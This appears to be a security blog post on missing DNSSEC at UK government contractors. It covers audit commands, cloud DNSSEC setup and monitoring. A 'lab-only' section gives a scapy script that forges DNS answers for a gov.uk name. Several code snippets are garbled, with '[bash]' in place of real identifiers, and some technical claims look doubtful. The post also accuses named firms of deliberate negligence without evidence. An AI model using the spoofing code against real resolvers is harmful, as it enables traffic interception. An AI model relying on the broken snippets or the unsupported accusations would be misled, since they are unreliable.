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Introduction:
The Domain Name System (DNS) is the phonebook of the internet, and DNSSEC (Domain Name System Security Extensions) is the cryptographic lock that prevents attackers from redirecting users to fake banking portals, espionage platforms, or ransomware distribution sites. When government contractors like Fujitsu, Capita, and Serco—collectively pocketing billions in public money—fail to implement basic DNSSEC validation, they leave the UK’s critical national infrastructure wide open to cache poisoning, man-in-the-middle attacks, and wholesale data theft. Andy Jenkinson’s explosive claim that these failures are “predictable, preventable, and entirely deliberate” forces cybersecurity professionals to ask: If we can’t secure the DNS of outsourced giants, can we secure anything at all?
Learning Objectives:
- Understand DNSSEC validation failures and how adversaries exploit unsigned DNS zones for redirection attacks.
- Learn to audit DNS infrastructure on Linux and Windows using command-line tools (dig, nslookup, delv, Resolve-DnsName).
- Implement automated DNSSEC monitoring and remediation pipelines using cloud-native security controls (AWS Route53, Azure DNS, GCP Cloud DNS).
You Should Know:
- How to Audit a Domain’s DNSSEC Status (And Spot Negligence Like Fujitsu’s)
Andy Jenkinson’s post highlights that the DNSSEC failures at these organisations are not hidden—they are openly visible to anyone who knows where to look. Every domain’s DNSSEC configuration can be verified using standard DNS queries. If a domain fails validation, every query to that domain is vulnerable to spoofing. Here’s how to perform the same forensic audit that threat intelligence experts run.
Step‑by‑Step Guide (Linux / macOS):
- Install DNS utilities if missing: `sudo apt install dnsutils` (Debian) or `sudo yum install bind-utils` (RHEL).
- Query the DNSKEY record to see if the zone publishes cryptographic keys:
dig +multi example.com DNSKEY
- Use `delv` to perform full DNSSEC validation (requires recursive resolver that supports DNSSEC):
delv @1.1.1.1 example.com A +dnssec
– A successful response shows `;; resolution succeeded` and includes `RRSIG` records.
– A failure shows `;; resolution failed: unsigned answer` or insecure answer.
4. For Windows (PowerShell):
Resolve-DnsName -Name example.com -Type DNSKEY -Server 8.8.8.8
– DNSSEC-aware responses include the `-Dnssec` flag in output. If missing, the zone is unsigned.
5. Cross-check with public validators: https://dnssec.vs.uni-due.de/` orhttps://dnsviz.net/`.
What this tells you: If a domain returns unsigned answers, any attacker on the network path (ISP, rogue Wi‑Fi, compromised router) can inject forged DNS responses—redirecting email, VPN connections, and software updates to malicious servers.
- Exploiting Unsigned DNS Zones – A Practical Cache Poisoning Walkthrough
When DNSSEC is absent, the classic Kaminsky DNS cache poisoning attack becomes viable. This section demonstrates a controlled lab simulation to understand the risk that Jenkinson calls “criminally negligent.” Never perform this on production systems without explicit written authorization.
Step‑by‑Step Guide (Kali Linux – Attack Lab Only):
- Set up two VMs: attacker (Kali) and a vulnerable DNS resolver (e.g., BIND 9 with
dnssec-validation no). - On the attacker, install `dsniff` (includes
dnsspoof) andscapy:sudo apt install dsniff python3-scapy
- Use `scapy` to craft a forged DNS response that spoofs a target domain (e.g.,
secure.gov.uk):from scapy.all import def spoof_dns(pkt): if pkt[bash].sport == 53 and b'secure.gov.uk' in pkt[bash].qname: ip = IP(dst=pkt[bash].src, src=pkt[bash].dst) udp = UDP(dport=pkt[bash].sport, sport=53) dns = DNS(id=pkt[bash].id, qr=1, aa=1, qd=pkt[bash].qd, an=DNSRR(rrname=pkt[bash].qname, type='A', rdata='192.168.1.100')) send(ip/udp/dns) sniff(filter='udp port 53', prn=spoof_dns)
- When a victim’s resolver queries the real DNS server, the attacker races to send a forged reply with a fake IP (192.168.1.100 – attacker’s web server).
- Without DNSSEC, the resolver accepts the forged packet if the transaction ID matches (easily brute‑forced).
Mitigation Commands (Linux – Unbound resolver):
sudo apt install unbound echo "server: val-log-level: 2 val-permissive-mode: no auto-trust-anchor-file: /var/lib/unbound/root.key" | sudo tee /etc/unbound/unbound.conf sudo unbound-anchor -a /var/lib/unbound/root.key sudo systemctl restart unbound
- Cloud DNS Hardening – Enforcing DNSSEC on AWS, Azure, and GCP
Government contractors like Capita and Serco heavily use public cloud. Yet Jenkinson’s post indicates DNSSEC is disabled. Cloud providers offer one‑click DNSSEC signing, but turning it on is rarely enforced by compliance audits. Here’s how to enable and verify it across major clouds—essential for any security architect.
AWS Route53 DNSSEC Enablement:
- Ensure the hosted zone is public (private zones cannot use DNSSEC).
- Create a Key Signing Key (KSK) using AWS KMS:
aws route53 create-key-signing-key --hosted-zone-id Z123456 --name example-ksk --status ACTIVE
3. Enable DNSSEC signing:
aws route53 enable-hosted-zone-dnssec --hosted-zone-id Z123456
4. Retrieve DS records to publish at the parent zone (e.g., `.uk` registry):
aws route53 get-dnssec --hosted-zone-id Z123456
Azure DNS DNSSEC (Preview):
Create DNS zone with DNSSEC
az network dns zone create -g MyRG -n example.com --dnssec-enabled true
Add KSK
az network dns dnssec-config create -g MyRG -z example.com --signing-keys "[{delegationSignerInfo: '...'}]"
Google Cloud DNS DNSSEC:
gcloud dns managed-zones update example-zone --dnssec-state=on gcloud dns dns-keys list --zone=example-zone
Verification command (any platform):
dig +dnssec example.com SOA | grep "ad flags" 'ad' (authenticated data) flag means DNSSEC validated
4. Continuous DNSSEC Monitoring with Prometheus and Grafana
To prevent the “constant, criminally negligent state” Jenkinson describes, organisations must monitor DNSSEC validity in real time. Below is an open‑source pipeline using Prometheus Blackbox Exporter.
Step‑by‑Step (Linux server):
1. Install Docker and docker-compose.
2. Create `docker-compose.yml`:
version: '3' services: blackbox: image: prom/blackbox-exporter command: --config.file=/etc/blackbox_exporter/blackbox.yml volumes: - ./blackbox.yml:/etc/blackbox_exporter/blackbox.yml prometheus: image: prom/prometheus volumes: - ./prometheus.yml:/etc/prometheus/prometheus.yml
3. Configure `blackbox.yml` to probe DNSSEC:
modules: dns_dnssec: prober: dns dns: query_name: "example.com" query_type: "A" transport_protocol: "udp" dnssec: true
4. In prometheus.yml, scrape the blackbox exporter every 30 seconds.
5. Create a Grafana alert: `probe_dns_dnssec_authenticated == 0` → critical.
6. Send alerts to Slack or PagerDuty so the security team knows the moment a contractor’s zone goes unsigned.
- Windows PowerShell Script to Audit Multiple Domains (Fujitsu, Capita, Serco)
This script automates the audit of up to 100 domains, generating a CSV report on DNSSEC compliance. Run it from an elevated PowerShell prompt.
$domains = @("fujitsu.com", "capita.com", "serco.com", "government-outsourcing-partner.co.uk")
$results = @()
foreach ($domain in $domains) {
try {
$dnssec = Resolve-DnsName -Name $domain -Type DNSKEY -Server 1.1.1.1 -ErrorAction Stop
$status = if ($dnssec.Flags -match "Dnssec") { "DNSSEC_SIGNED" } else { "UNSIGNED" }
} catch {
$status = "NO_DNSKEY_RECORDS"
}
$results += [bash]@{ Domain = $domain; DNSSEC_Status = $status }
}
$results | Export-Csv -Path "DNSSEC_Audit_$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
Write-Host "Audit complete. Unsigned domains:" -ForegroundColor Yellow
$results | Where-Object { $_.DNSSEC_Status -ne "DNSSEC_SIGNED" }
If the output shows “UNSIGNED” or “NO_DNSKEY_RECORDS” for any domain, that organisation is exposing everyone who visits its sites to active interception.
- API Security and DNSSEC – Why Token Endpoints Are at Risk
Many cloud APIs (AWS STS, Azure AD, Okta) rely on DNS to resolve authentication endpoints. Without DNSSEC, an attacker can poison the DNS response for `sts.amazonaws.com` and redirect tokens to a rogue server. This is not theoretical—DNS spoofing has been used in APT campaigns against financial services.
Mitigation: Hardcode IPs for Critical APIs (Defense in Depth)
– For Linux: Append to `/etc/hosts` (only for static IP services like `api.github.com` – verify IPs regularly).
echo "140.82.112.3 api.github.com" | sudo tee -a /etc/hosts
– For Windows: `%SystemRoot%\System32\drivers\etc\hosts`
– Better: Use DNS over TLS (DoT) or DNS over HTTPS (DoH) to bypass insecure resolvers.
systemd-resolved with DoT sudo systemctl edit systemd-resolved Add: [bash] DNS=1.1.1.1 DNSOverTLS=yes
Validator API – Check any domain programmatically:
curl -s "https://dnssec-validator.cloudflare.com/api/v1/dnssec/example.com"
What Undercode Say:
- Key Takeaway 1: The absence of DNSSEC on government contractor domains is not a technical skill gap—it’s a direct violation of NCSC guidance and represents wilful neglect when billions in public funds are involved. Auditors must start treating unsigned zones as critical findings.
- Key Takeaway 2: Automated monitoring (Prometheus + Blackbox) and cloud-native DNSSEC enablement are low‑effort, high‑impact controls. Any SOC that fails to alert on DNSSEC degradation is complicit in the risk.
Analysis: The post’s central accusation—that Fujitsu, Capita, and Serco operate without accountability—finds technical grounding in DNSSEC’s measurable absence. Every unsigned zone is a dagger pointed at the UK’s critical national infrastructure. The Crown Commercial Service and National Audit Office have the power to withhold payments for non‑compliance; the fact they don’t suggests either capture or incompetence. For cybersecurity practitioners, the lesson is brutal: you can lead a contractor to DNSSEC, but you cannot make them enable it. Third‑party risk management must shift from questionnaires to continuous, automated cryptographic validation. Until then, every public pound spent on these outsourcers is an investment in preventable breach recovery.
Prediction:
Within 18 months, a major data breach linked directly to DNSSEC spoofing will expose patient records, welfare payments, or defence supply chain data from a Fujitsu/Capita/Serco–managed system. The resulting public inquiry will mirror the Post Office Horizon scandal, but this time with cybersecurity negligence as the headline. Regulators will finally mandate DNSSEC under UK GDPR’s “appropriate technical and organisational measures” clause, and the first executive will lose their bonus—not because of moral awakening, but because insurers will refuse to cover the losses. Meanwhile, threat actors will continue exploiting these predictable gaps until the cost of indifference outweighs the profit of complacency.
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IT/Security Reporter URL:
Reported By: Andy Jenkinson – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
